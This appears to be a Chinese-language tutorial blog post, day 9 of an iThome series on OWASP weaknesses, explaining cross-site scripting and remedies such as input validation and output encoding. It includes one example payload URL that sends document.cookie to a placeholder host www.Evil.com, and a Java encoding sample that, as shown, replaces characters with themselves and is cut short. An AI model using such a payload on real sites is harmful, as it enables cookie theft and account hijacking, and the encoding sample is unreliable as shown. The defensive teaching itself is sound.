iT邦幫忙

第 11 屆 iThome 鐵人賽

DAY 9
1
Security

應用程式弱點與它們的產地系列 第 9

[Day09]A7-Cross-Site Scripting

常見的弱點 Cross-Site Scripting 也稱 XSS。

弱點描述

資料從不可信賴的來源進入後端網頁程式,
而程式再傳送未經驗證的資料到網路瀏覽器中,
導致瀏覽器執行惡意的程式碼。

  • 搜尋列
  • 網址列
  • 留言版
  • 任何使用者有機會可以竄改的位置…

核心原因

傳送未經驗證的資料到網路瀏覽器,導致瀏覽器執行惡意程式碼。

弱點應用

客製惡意編碼
https://URL/results.aspx?search=location.replace("http://www.Evil.com/getcookie.asp?
k= " +document.cookie)

相關新聞

重磅:利用麥當勞網站的漏洞獲取使用者密碼 https://www.itread01.com/p/1386721.html

修改建議

確保內容在正確位置進行驗證,並檢查屬性是否正確。

  1. 內容驗證
    作為通用原則,永遠不要相信來自使用者的輸入。
    每個GET、POST和cookie值都可以是任何值,因此應該進行驗證。
    輸出任何這些值時,請將它們轉譯,避免被竄改。
    可以參考報告中提供的正規化函數:htmlspecialchars()

  2. 輸出編碼(Output encoding)
    限制或轉換輸入內容
    將輸出的內容轉為 HTML Entities

框架:

  • Microsoft Anti-Cross Site Scripting Library
  • JAVA: DeXSS -- Java program for removing JavaScript from HTML

函數:

  • Server.HTMLencode()
  • htmlentities()
  1. 來源過濾 (Input validation)
    白名單:限制長度及合法字元
    黑名單:避免一開始使用黑名單,可能有漏網之魚
    資料消毒:移除非法字元

  2. Sample Code
    針對特殊字元編碼

public static String HtmlSpecialChars(String source) {
StringBuilder sb = new StringBuilder();
for (int i = 0; i < source.length(); i++) {
char c = source.charAt(i);
switch (c) {
case '<':
sb.append("<");
break;
case '>':
sb.append(">");
break;
case '"':
sb.append(“"”);
break;
…
default:
sb.append(c);
}

參考資訊

How To: Prevent Cross-Site Scripting in ASP.NET (http://msdn2.microsoft.com/en-us/library/ms998274.aspx)

Step 1. Check that ASP.NET request validation is enabled.
Step 2. Review ASP.NET code that generates HTML output.
Step 3. Determine whether HTML output includes input parameters.
Step 4. Review potentially dangerous HTML tags and attributes.
Step 5. Evaluate countermeasures.
Filter user input.
Encode HTML output. (HttpUtility.HtmlEncode)
Encode URL output. (HttpUtility.UrlEncode)


上一篇
[Day08]A6- Security Misconfiguration
下一篇
[Day10]A8- Insecure Deserialization
系列文
應用程式弱點與它們的產地17
圖片
  直播研討會
圖片
{{ item.channelVendor }} {{ item.webinarstarted }} |
{{ formatDate(item.duration) }}
直播中

尚未有邦友留言

立即登入留言